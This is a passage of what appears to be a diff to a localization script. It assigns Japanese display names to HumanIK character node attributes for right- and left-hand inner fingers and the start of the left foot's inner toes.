"LeftInHandExtraFingerTx", "左手内側の追加指 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerTy", "左手内側の追加指 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerTz", "左手内側の追加指 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerR", "左手内側の追加指 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerRx", "左手内側の追加指 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerRy", "左手内側の追加指 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerRz", "左手内側の追加指 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerS", "左手内側の追加指 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerSx", "左手内側の追加指 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerSy", "左手内側の追加指 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerSz", "左手内側の追加指 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerRotateOrder", "左手内側の追加指の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerRotateAxis", "左手内側の追加指の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerRotateAxisx", "左手内側の追加指の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerRotateAxisy", "左手内側の追加指の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerRotateAxisz", "左手内側の追加指の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerJointOrient", "左手内側の追加指のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerJointOrientx", "左手内側の追加指のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerJointOrienty", "左手内側の追加指のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerJointOrientz", "左手内側の追加指のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerMinRLimit", "左手内側の追加指の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerMinRLimitx", "左手内側の追加指の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerMinRLimity", "左手内側の追加指の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerMinRLimitz", "左手内側の追加指の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerMaxRLimit", "左手内側の追加指の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerMaxRLimitx", "左手内側の追加指の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerMaxRLimity", "左手内側の追加指の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerMaxRLimitz", "左手内側の追加指の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerMinRLimitEnablex", "左手内側の追加指の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerMinRLimitEnabley", "左手内側の追加指の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerMinRLimitEnablez", "左手内側の追加指の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerMaxRLimitEnablex", "左手内側の追加指の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerMaxRLimitEnabley", "左手内側の追加指の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInHandExtraFingerMaxRLimitEnablez", "左手内側の追加指の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumb", "右手内側の親指" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbT", "右手内側の親指 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbTx", "右手内側の親指 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbTy", "右手内側の親指 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbTz", "右手内側の親指 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbR", "右手内側の親指 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbRx", "右手内側の親指 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbRy", "右手内側の親指 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbRz", "右手内側の親指 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbS", "右手内側の親指 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbSx", "右手内側の親指 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbSy", "右手内側の親指 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbSz", "右手内側の親指 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbRotateOrder", "右手内側の親指の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbRotateAxis", "右手内側の親指の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbRotateAxisx", "右手内側の親指の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbRotateAxisy", "右手内側の親指の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbRotateAxisz", "右手内側の親指の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbJointOrient", "右手内側の親指のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbJointOrientx", "右手内側の親指のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbJointOrienty", "右手内側の親指のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbJointOrientz", "右手内側の親指のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbMinRLimit", "右手内側の親指の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbMinRLimitx", "右手内側の親指の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbMinRLimity", "右手内側の親指の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbMinRLimitz", "右手内側の親指の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbMaxRLimit", "右手内側の親指の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbMaxRLimitx", "右手内側の親指の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbMaxRLimity", "右手内側の親指の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbMaxRLimitz", "右手内側の親指の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbMinRLimitEnablex", "右手内側の親指の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbMinRLimitEnabley", "右手内側の親指の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbMinRLimitEnablez", "右手内側の親指の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbMaxRLimitEnablex", "右手内側の親指の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbMaxRLimitEnabley", "右手内側の親指の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandThumbMaxRLimitEnablez", "右手内側の親指の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndex", "右手内側の人差指" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexT", "右手内側の人差指 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexTx", "右手内側の人差指 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexTy", "右手内側の人差指 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexTz", "右手内側の人差指 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexR", "右手内側の人差指 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexRx", "右手内側の人差指 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexRy", "右手内側の人差指 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexRz", "右手内側の人差指 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexS", "右手内側の人差指 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexSx", "右手内側の人差指 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexSy", "右手内側の人差指 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexSz", "右手内側の人差指 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexRotateOrder", "右手内側の人差指の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexRotateAxis", "右手内側の人差指の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexRotateAxisx", "右手内側の人差指の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexRotateAxisy", "右手内側の人差指の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexRotateAxisz", "右手内側の人差指の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexJointOrient", "右手内側の人差指のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexJointOrientx", "右手内側の人差指のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexJointOrienty", "右手内側の人差指のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexJointOrientz", "右手内側の人差指のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexMinRLimit", "右手内側の人差指の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexMinRLimitx", "右手内側の人差指の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexMinRLimity", "右手内側の人差指の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexMinRLimitz", "右手内側の人差指の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexMaxRLimit", "右手内側の人差指の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexMaxRLimitx", "右手内側の人差指の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexMaxRLimity", "右手内側の人差指の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexMaxRLimitz", "右手内側の人差指の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexMinRLimitEnablex", "右手内側の人差指の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexMinRLimitEnabley", "右手内側の人差指の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexMinRLimitEnablez", "右手内側の人差指の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexMaxRLimitEnablex", "右手内側の人差指の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexMaxRLimitEnabley", "右手内側の人差指の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandIndexMaxRLimitEnablez", "右手内側の人差指の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddle", "右手内側の中指" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleT", "右手内側の中指 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleTx", "右手内側の中指 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleTy", "右手内側の中指 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleTz", "右手内側の中指 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleR", "右手内側の中指 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleRx", "右手内側の中指 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleRy", "右手内側の中指 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleRz", "右手内側の中指 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleS", "右手内側の中指 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleSx", "右手内側の中指 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleSy", "右手内側の中指 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleSz", "右手内側の中指 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleRotateOrder", "右手内側の中指の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleRotateAxis", "右手内側の中指の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleRotateAxisx", "右手内側の中指の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleRotateAxisy", "右手内側の中指の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleRotateAxisz", "右手内側の中指の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleJointOrient", "右手内側の中指のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleJointOrientx", "右手内側の中指のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleJointOrienty", "右手内側の中指のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleJointOrientz", "右手内側の中指のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleMinRLimit", "右手内側の中指の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleMinRLimitx", "右手内側の中指の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleMinRLimity", "右手内側の中指の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleMinRLimitz", "右手内側の中指の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleMaxRLimit", "右手内側の中指の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleMaxRLimitx", "右手内側の中指の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleMaxRLimity", "右手内側の中指の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleMaxRLimitz", "右手内側の中指の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleMinRLimitEnablex", "右手内側の中指の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleMinRLimitEnabley", "右手内側の中指の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleMinRLimitEnablez", "右手内側の中指の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleMaxRLimitEnablex", "右手内側の中指の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleMaxRLimitEnabley", "右手内側の中指の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandMiddleMaxRLimitEnablez", "右手内側の中指の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRing", "右手内側の薬指" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingT", "右手内側の薬指 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingTx", "右手内側の薬指 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingTy", "右手内側の薬指 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingTz", "右手内側の薬指 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingR", "右手内側の薬指 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingRx", "右手内側の薬指 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingRy", "右手内側の薬指 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingRz", "右手内側の薬指 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingS", "右手内側の薬指 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingSx", "右手内側の薬指 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingSy", "右手内側の薬指 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingSz", "右手内側の薬指 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingRotateOrder", "右手内側の薬指の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingRotateAxis", "右手内側の薬指の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingRotateAxisx", "右手内側の薬指の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingRotateAxisy", "右手内側の薬指の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingRotateAxisz", "右手内側の薬指の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingJointOrient", "右手内側の薬指のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingJointOrientx", "右手内側の薬指のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingJointOrienty", "右手内側の薬指のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingJointOrientz", "右手内側の薬指のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingMinRLimit", "右手内側の薬指の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingMinRLimitx", "右手内側の薬指の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingMinRLimity", "右手内側の薬指の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingMinRLimitz", "右手内側の薬指の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingMaxRLimit", "右手内側の薬指の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingMaxRLimitx", "右手内側の薬指の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingMaxRLimity", "右手内側の薬指の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingMaxRLimitz", "右手内側の薬指の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingMinRLimitEnablex", "右手内側の薬指の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingMinRLimitEnabley", "右手内側の薬指の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingMinRLimitEnablez", "右手内側の薬指の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingMaxRLimitEnablex", "右手内側の薬指の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingMaxRLimitEnabley", "右手内側の薬指の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandRingMaxRLimitEnablez", "右手内側の薬指の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinky", "右手内側の小指" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyT", "右手内側の小指 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyTx", "右手内側の小指 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyTy", "右手内側の小指 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyTz", "右手内側の小指 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyR", "右手内側の小指 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyRx", "右手内側の小指 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyRy", "右手内側の小指 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyRz", "右手内側の小指 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyS", "右手内側の小指 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkySx", "右手内側の小指 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkySy", "右手内側の小指 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkySz", "右手内側の小指 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyRotateOrder", "右手内側の小指の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyRotateAxis", "右手内側の小指の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyRotateAxisx", "右手内側の小指の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyRotateAxisy", "右手内側の小指の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyRotateAxisz", "右手内側の小指の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyJointOrient", "右手内側の小指のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyJointOrientx", "右手内側の小指のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyJointOrienty", "右手内側の小指のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyJointOrientz", "右手内側の小指のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyMinRLimit", "右手内側の小指の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyMinRLimitx", "右手内側の小指の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyMinRLimity", "右手内側の小指の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyMinRLimitz", "右手内側の小指の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyMaxRLimit", "右手内側の小指の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyMaxRLimitx", "右手内側の小指の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyMaxRLimity", "右手内側の小指の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyMaxRLimitz", "右手内側の小指の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyMinRLimitEnablex", "右手内側の小指の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyMinRLimitEnabley", "右手内側の小指の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyMinRLimitEnablez", "右手内側の小指の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyMaxRLimitEnablex", "右手内側の小指の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyMaxRLimitEnabley", "右手内側の小指の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandPinkyMaxRLimitEnablez", "右手内側の小指の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFinger", "右手内側の追加指" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerT", "右手内側の追加指 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerTx", "右手内側の追加指 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerTy", "右手内側の追加指 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerTz", "右手内側の追加指 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerR", "右手内側の追加指 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerRx", "右手内側の追加指 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerRy", "右手内側の追加指 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerRz", "右手内側の追加指 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerS", "右手内側の追加指 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerSx", "右手内側の追加指 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerSy", "右手内側の追加指 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerSz", "右手内側の追加指 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerRotateOrder", "右手内側の追加指の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerRotateAxis", "右手内側の追加指の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerRotateAxisx", "右手内側の追加指の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerRotateAxisy", "右手内側の追加指の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerRotateAxisz", "右手内側の追加指の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerJointOrient", "右手内側の追加指のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerJointOrientx", "右手内側の追加指のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerJointOrienty", "右手内側の追加指のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerJointOrientz", "右手内側の追加指のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerMinRLimit", "右手内側の追加指の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerMinRLimitx", "右手内側の追加指の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerMinRLimity", "右手内側の追加指の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerMinRLimitz", "右手内側の追加指の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerMaxRLimit", "右手内側の追加指の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerMaxRLimitx", "右手内側の追加指の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerMaxRLimity", "右手内側の追加指の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerMaxRLimitz", "右手内側の追加指の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerMinRLimitEnablex", "右手内側の追加指の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerMinRLimitEnabley", "右手内側の追加指の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerMinRLimitEnablez", "右手内側の追加指の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerMaxRLimitEnablex", "右手内側の追加指の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerMaxRLimitEnabley", "右手内側の追加指の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerMaxRLimitEnablez", "右手内側の追加指の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumb", "左足内側の親指" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbT", "左足内側の親指 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbTx", "左足内側の親指 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbTy", "左足内側の親指 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbTz", "左足内側の親指 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbR", "左足内側の親指 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbRx", "左足内側の親指 Rx" ); +setAttrNiceNameResource( 